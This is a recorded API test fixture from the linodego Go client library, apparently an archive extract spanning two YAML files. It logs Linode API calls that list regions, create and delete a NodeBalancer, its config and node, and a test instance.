"maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":1136787}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 1017192, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-44-137.ip.linodeusercontent.com", "ipv4": "172.105.44.137", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "337" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:54 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017192/configs method: POST response: body: '{"id": 1680042, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 1017192, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:54 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-20s9xys68da7","root_pass":"dQMJT9)-H41;^]X\\!c~09l|v~~YN\\30`h+D8Lm7re*958yo2x7teXAkKknO]7CW7","image":"linode/debian9","firewall_id":1136787,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 66622310, "label": "go-test-ins-20s9xys68da7", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.126.190"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "bb03aee31fa7539cfeeeaf2fd3ea5d5c9f4d8e68", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622310/ips method: POST response: body: '{"address": "192.168.133.250", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 66622310, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "224" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.133.250:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017192/configs/1680042/nodes method: POST response: body: '{"id": 2077581303, "address": "192.168.133.250:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1680042, "nodebalancer_id": 1017192}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "185" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","proxy_protocol":"none","algorithm":"roundrobin","stickiness":"none","check":"none","check_interval":60,"check_attempts":3,"check_passive":true,"check_timeout":30,"cipher_suite":"recommended","nodes":[{"address":"192.168.133.250:8080","label":"go-node-test-def","weight":10,"mode":"accept","id":2077581303}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017192/configs/1680042/rebuild method: POST response: body: '{"id": 1680042, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 1017192, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 1}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017192/configs/1680042/nodes?page=1 method: GET response: body: '{"data": [{"id": 2077581303, "address": "192.168.133.250:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1680042, "nodebalancer_id": 1017192}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017192/configs/1680042/nodes/2077581303 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622310 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017192/configs/1680042 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017192 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancer_RebuildInstance.yaml000066400000000000000000001027271474652371000337710ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 